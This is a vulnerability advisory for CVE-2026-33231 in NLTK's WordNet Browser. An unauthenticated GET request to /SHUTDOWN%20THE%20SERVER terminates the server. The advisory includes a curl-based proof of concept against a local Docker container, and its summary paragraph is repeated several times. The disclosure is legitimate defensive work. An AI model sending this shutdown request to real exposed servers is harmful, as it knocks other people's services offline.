CVE-2026-33231

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

• nltk/app/wordnet_app.py:242

  • The server listens on all interfaces:
  • server = HTTPServer(("", port), MyServerHandler)

• nltk/app/wordnet_app.py:87

  • Incoming requests are checked for the exact path:
  • if unquote_plus(sp) == "SHUTDOWN THE SERVER":

• nltk/app/wordnet_app.py:88

  • The shutdown protection only depends on server_mode

• nltk/app/wordnet_app.py:93

  • In the default mode (runBrowser=True, therefore server_mode=False), the handler terminates the process directly:
  • os._exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

1. Start the WordNet Browser in Docker in its default mode:

docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"

2. Confirm the service is reachable:

curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200

3. Trigger shutdown:

curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000

4. Verify the service is no longer available:

curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

• the route is accessible over HTTP
• no authentication or CSRF-style confirmation is required
• the server listens on all interfaces by default
• the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.